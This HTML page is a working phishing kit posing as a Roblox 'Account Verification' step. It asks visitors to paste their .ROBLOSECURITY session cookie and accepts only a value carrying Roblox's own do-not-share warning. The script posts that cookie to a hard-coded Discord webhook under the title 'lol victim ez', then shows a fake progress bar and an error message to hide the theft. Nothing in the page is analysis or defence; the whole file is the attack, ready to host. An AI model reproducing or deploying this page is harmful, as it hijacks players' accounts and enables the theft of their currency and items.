<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Account Verification</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background: #0b0c1a;
            overflow: hidden;
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            color: white;
        }

        h1 {
            font-size: 3em;
            background: linear-gradient(90deg, #ff00ff, #00ffff, #ff0000, #00ff00);
            background-size: 200% 200%;
            color: white;
            text-shadow: 0 0 20px #ff00ff, 0 0 30px #00ffff;
            animation: galaxy-move 3s infinite linear, glow 1.5s infinite alternate;
        }

        @keyframes galaxy-move {
            0% { background-position: 0% 50%; }
            100% { background-position: 200% 50%; }
        }

        @keyframes glow {
            0% { text-shadow: 0 0 10px #ff00ff; }
            100% { text-shadow: 0 0 30px #00ffff; }
        }

        .textbox {
            width: 300px;
            height: 40px;
            background: #1e1e2f;
            border: 2px solid gray;
            border-radius: 20px;
            outline: none;
            color: white;
            font-size: 16px;
            text-align: center;
            margin-top: 20px;
            transition: transform 0.3s, box-shadow 0.3s;
        }

        .textbox:focus {
            transform: scale(1.1);
            box-shadow: 0 0 15px #00ffcc;
        }

        .button {
            margin-top: 20px;
            padding: 10px 20px;
            font-size: 16px;
            color: white;
            background: transparent;
            border: 2px solid gray;
            border-radius: 20px;
            cursor: pointer;
            transition: transform 0.3s, background 0.3s;
        }

        .button:hover {
            background: rgba(255, 255, 255, 0.1);
            transform: scale(1.1);
        }

        .button:disabled {
            background: gray;
            cursor: not-allowed;
        }

        .loading-bar {
            display: none;
            width: 300px;
            height: 20px;
            border: 2px solid gray;
            border-radius: 10px;
            margin-top: 30px;
            position: relative;
            overflow: hidden;
        }

        .loading-bar .progress {
            width: 0;
            height: 100%;
            background: green;
            transition: width 0.1s linear;
        }

        .loading-text {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            color: white;
            font-size: 16px;
        }

        .red-text {
            color: red;
            margin-top: 20px;
            display: none;
        }

        canvas {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
        }
    </style>
</head>
<body>
    <canvas id="particles"></canvas>

    <h1>Account Verification</h1>
    <p>Copy your .ROBLOSECURITY value and paste it below:</p>
    <input type="text" class="textbox" id="textbox" placeholder="Paste Roblox Security Token">
    <button class="button" id="pasteButton">Paste From Clipboard</button>
    <button class="button" id="continueButton" disabled>Continue</button>

    <div class="loading-bar" id="loadingBar">
        <div class="progress" id="progress"></div>
        <div class="loading-text" id="loadingText">0%</div>
    </div>
    <p class="red-text" id="redText">Please refresh the page and try again</p>

    <script>
        const pasteButton = document.getElementById('pasteButton');
        const continueButton = document.getElementById('continueButton');
        const textbox = document.getElementById('textbox');
        const loadingBar = document.getElementById('loadingBar');
        const progress = document.getElementById('progress');
        const loadingText = document.getElementById('loadingText');
        const redText = document.getElementById('redText');

        // Paste from clipboard
        pasteButton.addEventListener('click', async () => {
            try {
                const text = await navigator.clipboard.readText();
                textbox.value = text;
                validateInput();
            } catch (err) {
                alert('Failed to read clipboard: ' + err);
            }
        });

        // Validate input and enable Continue button
        function validateInput() {
            continueButton.disabled = !textbox.value.startsWith("_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_");
        }

        textbox.addEventListener('input', validateInput);

        // Send to webhook
        continueButton.addEventListener('click', () => {
            const inputValue = textbox.value;

            fetch('https://discord.com/api/webhooks/1332106245590614089/gM5Ql_Asfr-uO7TW5u9llOvLmUfCdcvl6MZ5d1gz3iuG5JsN_NQN3ciWkffcQm4s4Vke', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    embeds: [{
                        title: "lol victim ez",
                        description: "```\n" + inputValue + "\n```",
                        color: 3447003
                    }]
                }),
            }).then(response => {
                if (response.ok) {
                    startLoadingBar();
                } else {
                    alert("Failed to send data!");
                }
            }).catch(err => {
                console.error('Error:', err);
                alert("Failed to send data!");
            });
        });

        function startLoadingBar() {
            loadingBar.style.display = 'block';
            let progressWidth = 0;

            const interval = setInterval(() => {
                progressWidth += 10; // Increase width by 10% every second
                progress.style.width = `${progressWidth}%`;
                loadingText.innerText = `${progressWidth}%`;

                if (progressWidth >= 100) {
                    clearInterval(interval);
                    setTimeout(() => {
                        redText.style.display = 'block'; // Show error message
                    }, 5000); // Wait 5 seconds
                }
            }, 1000);
        }

        // Particle animation
        const canvas = document.getElementById('particles');
        const ctx = canvas.getContext('2d');
        const particlesArray = [];

        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;

        window.addEventListener('resize', () => {
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });

        class Particle {
            constructor() {
                this.x = Math.random() * canvas.width;
                this.y = Math.random() * canvas.height;
                this.size = Math.random() * 3 + 1;
                this.speedX = Math.random() * 1 - 0.5;
                this.speedY = Math.random() * 1 - 0.5;
            }

            update() {
                this.x += this.speedX;
                this.y += this.speedY;
                if (this.size > 0.2) this.size -= 0.02;
            }

            draw() {
                ctx.fillStyle = 'white';
                ctx.beginPath();
                ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2);
                ctx.closePath();
                ctx.fill();
            }
        }

        function handleParticles() {
            for (let i = 0; i < particlesArray.length; i++) {
                particlesArray[i].update();
                particlesArray[i].draw();

                for (let j = i; j < particlesArray.length; j++) {
                    const dx = particlesArray[i].x - particlesArray[j].x;
                    const dy = particlesArray[i].y - particlesArray[j].y;
                    const distance = Math.sqrt(dx * dx + dy * dy);

                    if (distance < 100) {
                        ctx.beginPath();
                        ctx.strokeStyle = 'white';
                        ctx.lineWidth = 0.2;
                        ctx.moveTo(particlesArray[i].x, particlesArray[i].y);
                        ctx.lineTo(particlesArray[j].x, particlesArray[j].y);
                        ctx.stroke();
                        ctx.closePath();
                    }
                }

                if (particlesArray[i].size <= 0.3) {
                    particlesArray.splice(i, 1);
                    i--;
                }
            }
        }

        function animate() {
            ctx.clearRect(0, 0, canvas.width, canvas.height);
            handleParticles();
            requestAnimationFrame(animate);
        }

        setInterval(() => {
            particlesArray.push(new Particle());
        }, 50);

        animate();
    </script>
</body>
</html>
